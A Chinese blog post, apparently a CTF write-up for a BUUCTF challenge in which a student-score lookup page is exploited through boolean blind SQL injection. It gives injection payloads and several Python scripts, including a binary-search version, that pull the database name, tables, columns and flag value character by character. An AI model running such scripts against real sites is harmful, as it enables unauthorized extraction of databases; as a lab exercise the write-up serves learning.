• 【无标题】


    打开环境,随便输个1看看

    输个2

    发现功能就是输入一个学号,然后返回对应的成绩,就是一个简单的查询操作

    当输入的学号不存在时,只会返回“student number not exists.”。

    猜测是盲注题,因为看不见其他的回显信息,初步想法是构造值为1或0的表达式来进行探测。

    先写查询语句

    if(ascii(substr(database(),1,1))>1,1,0)
    

    发现回显

    爆数据库

    1. import requests
    2. import time
    3. base_url="http://6199a6c3-30ca-4b13-955a-23ee81146566.node4.buuoj.cn:81/?stunum="
    4. data=''
    5. for i in range(1,200): #位数
    6. for j in range(1,128): #ascii码值
    7. payload = "if(ascii(substr(database(),{},1))={},1,0)".format(i,j)
    8. r=requests.get(url=base_url+payload)
    9. if(r.status_code==429): #设置睡眠
    10. time.sleep(0.5)
    11. if r"Hi admin, your score is: 100" in r.text: #设置成功条件
    12. data+=chr(j)
    13. print(data)

     

    使用二分法来爆破

    1. import requests
    2. base_url="http://6199a6c3-30ca-4b13-955a-23ee81146566.node4.buuoj.cn:81/?stunum="
    3. data=''
    4. payload="if(ascii(substr(database(),{},1))>{},1,0)"
    5. for i in range(1,10000):
    6. low = 32
    7. high = 128
    8. mid =(low + high) // 2
    9. while(low < high):
    10. payload1=payload.format(i,mid)
    11. r = requests.get(url=base_url+payload1)
    12. if "Hi admin, your score is: 100" in r.text:
    13. low = mid + 1
    14. else:
    15. high = mid
    16. mid = (low + high) // 2
    17. if (mid == 32 or mid == 132):
    18. break
    19. data+=chr(mid)
    20. print(data)

    爆表

    if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)="ctf"),1,1))>1,1,0)

    flag

    爆字段

    if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag'),1,1)>1,1,0)
    

    flag,value

    如果不采用二分法,会跑的很慢

    1. import requests
    2. import time
    3. base_url="http://6199a6c3-30ca-4b13-955a-23ee81146566.node4.buuoj.cn:81/?stunum="
    4. data=''
    5. for i in range(1,200): #位数
    6. for j in range(1,128): #ascii码值
    7. payload = "if(ascii(substr(database(),{},1))={},1,0)".format(i,j)
    8. payload2 = 'if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)="ctf"),{},1))={},1,0)'.format(i,j)
    9. payload3="if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag'),{},1))={},1,0)".format(i,j)
    10. payload4="if(ascii(substr((select(group_concat(value))from(ctf.flag)),{},1))={},1,0)".format(i,j)
    11. r=requests.get(url=base_url+payload4)
    12. if(r.status_code==429): #设置睡眠
    13. time.sleep(0.5)
    14. if r"Hi admin, your score is: 100" in r.text: #设置成功条件
    15. data+=chr(j)
    16. print(data)

    最后脚本

    1. import requests
    2. import time
    3. url = "http://1add8b29-2363-4589-a08f-89fde2996fef.node4.buuoj.cn:81/?stunum="
    4. result = ""
    5. i = 0
    6. while (True):
    7. i = i + 1
    8. low = 32
    9. high = 127
    10. while (low < high):
    11. mid = (low + high) >> 1
    12. # payload = "1*(ord(substr(database(), %d,1))>%d)" % (i, mid)
    13. # payload = "1*(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)" % (i , mid)
    14. # payload = "1*(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),%d,1))>%d)" % (i, mid)
    15. payload = "1*(ord(substr((select(group_concat(value))from(ctf.flag)),%d,1))>%d)" % (i, mid)
    16. r = requests.get(url + payload)
    17. time.sleep(0.5)
    18. r.encoding = "utf-8"
    19. # print(url+payload)
    20. if "your score is: 100" in r.text:
    21. low = mid + 1
    22. else:
    23. # print(r.text)
    24. high = mid
    25. last = result
    26. if low != 32:
    27. result += chr(low)
    28. else:
    29. break
    30. print(result)

  • 相关阅读:
    网络安全深入学习第五课——热门框架漏洞(RCE— Apache Shiro 1.2.4反序列化漏洞)
    怎么提高外贸开发信的回复率?
    go语言基础---8
    虚拟DOM的发展趋势和潜在创新
    实验二十一、积分运算电路的输出波形分析
    jenkins平台上设置全局变量
    MATLAB switch语句
    用QT做一个rtsp / rtmp实时流的播放器 ffmpeg
    信息科技风险管理
    微信公众号订阅通知/一次性订阅通知
  • 原文地址:https://blog.csdn.net/2202_75317918/article/details/133465890